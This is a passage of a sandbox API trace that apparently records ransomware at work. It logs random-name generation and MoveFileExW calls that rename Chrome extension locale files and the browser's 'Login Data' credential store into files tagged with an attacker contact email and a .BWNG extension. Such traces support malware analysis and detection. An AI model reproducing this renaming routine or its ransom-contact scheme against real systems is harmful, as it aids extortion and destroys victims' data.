data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\[billwong73@yahoo.com].fdimzxxk-cxdkhcvm.bwng"), dwFlags=0x1) returned 1 [0134.121] GetTickCount () returned 0x1168f84 [0134.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27607316447) returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0134.121] GetTickCount () returned 0x1168f84 [0134.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27607348551) returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0134.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0134.122] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\[billwong73@yahoo.com].9ycbk0qV-VFWveZxe.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\[billwong73@yahoo.com].9ycbk0qv-vfwvezxe.bwng"), dwFlags=0x1) returned 1 [0134.123] GetTickCount () returned 0x1168f84 [0134.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27607522859) returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0134.123] GetTickCount () returned 0x1168f84 [0134.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27607553961) returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0134.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0134.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0134.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0134.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.124] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\[billwong73@yahoo.com].jukgdKnl-bmisPROZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\[billwong73@yahoo.com].jukgdknl-bmisproz.bwng"), dwFlags=0x1) returned 1 [0134.125] GetTickCount () returned 0x1168f84 [0134.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27607714952) returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0134.125] GetTickCount () returned 0x1168f84 [0134.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27607746836) returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0134.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.126] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\[billwong73@yahoo.com].jopkQmd3-Z8TmJDkt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\[billwong73@yahoo.com].jopkqmd3-z8tmjdkt.bwng"), dwFlags=0x1) returned 1 [0134.127] GetTickCount () returned 0x1168f84 [0134.127] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27608138983) returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.130] GetTickCount () returned 0x1168f93 [0134.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27608179224) returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0134.130] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0134.130] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\[billwong73@yahoo.com].1PNB5Dtm-Ibl0XDQx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\[billwong73@yahoo.com].1pnb5dtm-ibl0xdqx.bwng"), dwFlags=0x1) returned 1 [0134.131] GetTickCount () returned 0x1168f93 [0134.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27608336245) returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0134.131] GetTickCount () returned 0x1168f93 [0134.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27608367432) returned 1 [0134.131] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.132] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].dbfTZNi8-aaROymot.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].dbftzni8-aaroymot.bwng"), dwFlags=0x1) returned 1 [0134.133] GetTickCount () returned 0x1168f93 [0134.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27608520167) returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0134.133] GetTickCount () returned 0x1168f93 [0134.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=27608552372) returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0134.133] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0134.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0134.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0134.134] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\log"), 